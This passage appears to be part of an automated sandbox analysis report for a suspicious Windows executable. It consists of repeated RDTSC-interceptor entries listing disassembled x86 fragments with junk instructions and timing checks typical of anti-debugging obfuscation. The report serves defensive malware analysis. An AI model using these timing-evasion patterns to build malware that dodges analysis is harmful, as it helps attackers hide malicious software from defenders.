0x00000064 push FFFFFFFFh 0x00000066 mov ebx, 0FF6E402h 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e push edx 0x0000006f jnl 00007FEDA51D0EB6h 0x00000075 pop edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183E4A second address: 1183E50 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182FF5 second address: 1182FFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183E50 second address: 1183E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184F42 second address: 1184F5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185CDB second address: 1185CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183E56 second address: 1183E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184F5B second address: 1184F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185CE3 second address: 1185D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEDA51D0EC3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184F61 second address: 1184F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185D01 second address: 1185D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 xor ebx, 291CE53Dh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FEDA51D0EB8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a call 00007FEDA51D0EC4h 0x0000002f pop ebx 0x00000030 push 00000000h 0x00000032 sub dword ptr [ebp+122D251Bh], ebx 0x00000038 xchg eax, esi 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FEDA51D0EC7h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185EF4 second address: 1185EFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185EFA second address: 1185F0D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FEDA51D0EB8h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185FF4 second address: 1185FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11870C4 second address: 11870C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189F07 second address: 1189F2D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEDA531E8C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FEDA531E8CFh 0x00000011 jbe 00007FEDA531E8C8h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B5C5 second address: 118B5E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEDA51D0EBEh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEDA51D0EBBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187FB5 second address: 1187FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BBB3 second address: 118BBB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CAB2 second address: 118CB1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FEDA531E8C8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov bl, cl 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebp 0x0000002a call 00007FEDA531E8C8h 0x0000002f pop ebp 0x00000030 mov dword ptr [esp+04h], ebp 0x00000034 add dword ptr [esp+04h], 00000016h 0x0000003c inc ebp 0x0000003d push ebp 0x0000003e ret 0x0000003f pop ebp 0x00000040 ret 0x00000041 push 00000000h 0x00000043 xchg eax, esi 0x00000044 jmp 00007FEDA531E8D1h 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CB1C second address: 118CB20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BD5D second address: 118BD63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BD63 second address: 118BD69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BD69 second address: 118BDEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b adc ebx, 25AD7B4Bh 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FEDA531E8C8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov edi, 00962E3Bh 0x0000003e mov eax, dword ptr [ebp+122D1339h] 0x00000044 cmc 0x00000045 push FFFFFFFFh 0x00000047 movsx ebx, cx 0x0000004a nop 0x0000004b jng 00007FEDA531E8D8h 0x00000051 jmp 00007FEDA531E8D2h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FEDA531E8D1h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FB5D second address: 118FB63 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FB63 second address: 118FB9C instructions: 0x00000000 rdtsc 0x00000002 js 00007FEDA531E8DEh 0x00000008 jmp 00007FEDA531E8D8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 mov ebx, edx 0x00000014 push 00000000h 0x00000016 adc edi, 4043AB5Ch 0x0000001c push eax 0x0000001d jc 00007FEDA531E8D4h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191AAF second address: 1191AC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FEDA51D0EB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191AC6 second address: 1191ACA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191ACA second address: 1191AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191AD7 second address: 1191AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA531E8D0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191AEC second address: 1191AF1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192CCB second address: 1192CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193E0E second address: 1193E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FEDA51D0EBBh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191E09 second address: 1191E25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193E25 second address: 1193E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EC8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193E42 second address: 1193EB2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEDA531E8CCh 0x00000008 jng 00007FEDA531E8C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FEDA531E8C8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d jng 00007FEDA531E8C8h 0x00000033 mov bl, 3Eh 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007FEDA531E8C8h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 adc di, 068Ah 0x00000056 xor dword ptr [ebp+122D36D3h], eax 0x0000005c xchg eax, esi 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193EB2 second address: 1193ECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193ECB second address: 1193ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193ED1 second address: 1193EEF instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEDA51D0EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f je 00007FEDA51D0EB6h 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jng 00007FEDA51D0EB6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194107 second address: 119411C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119411C second address: 1194131 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEDA51D0EC0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198868 second address: 119886E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119886E second address: 1198876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196784 second address: 1196788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196788 second address: 119678E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EC42 second address: 119EC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EC48 second address: 119EC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EC4F second address: 119EC57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EC57 second address: 119EC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EC5C second address: 119EC61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EC61 second address: 119EC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EC67 second address: 119EC6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119ED89 second address: 119ED95 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEDA51D0EB6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F060 second address: 119F075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA531E8D0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA5CC second address: 11AA603 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEDA51D0ED1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEDA51D0EC0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA603 second address: 11AA62D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FEDA531E8C6h 0x00000009 jl 00007FEDA531E8C6h 0x0000000f jmp 00007FEDA531E8D7h 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113928D second address: 1139297 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEDA51D0EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1139297 second address: 11392A1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEDA531E8CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A99DE second address: 11A99EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007FEDA51D0EB8h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A99EF second address: 11A99F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9F0F second address: 11A9F13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9F13 second address: 11A9F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FEDA531E8D4h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA326 second address: 11AA330 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEDA51D0EC2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA330 second address: 11AA336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B017B second address: 11B0181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AED67 second address: 11AED76 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEDA531E8C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AED76 second address: 11AEDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jmp 00007FEDA51D0EC7h 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e jns 00007FEDA51D0EBEh 0x00000014 pushad 0x00000015 jp 00007FEDA51D0EB6h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AEDB2 second address: 11AEDB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AEF15 second address: 11AEF19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AEF19 second address: 11AEF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF203 second address: 11AF220 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FEDA51D0EC2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF48B second address: 11AF497 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF497 second address: 11AF49B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF5E7 second address: 11AF613 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FEDA531E8D7h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEDA531E8CDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF798 second address: 11AF79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF79E second address: 11AF7BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FEDA531E8CEh 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF7BA second address: 11AF7C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FEDA51D0EB6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF7C6 second address: 11AF7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFBBE second address: 11AFBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C6E3 second address: 115C6E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C6E9 second address: 115C6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C6ED second address: 115C6FC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEDA531E8C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFFA7 second address: 11AFFB3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007FEDA51D0EB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFFB3 second address: 11AFFB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFFB9 second address: 11AFFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEDA51D0EB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFFC3 second address: 11AFFC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFFC7 second address: 11AFFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007FEDA51D0EC2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFFE3 second address: 11AFFE8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4D19 second address: 11B4D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FEDA51D0EB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4D29 second address: 11B4D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4E67 second address: 11B4E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
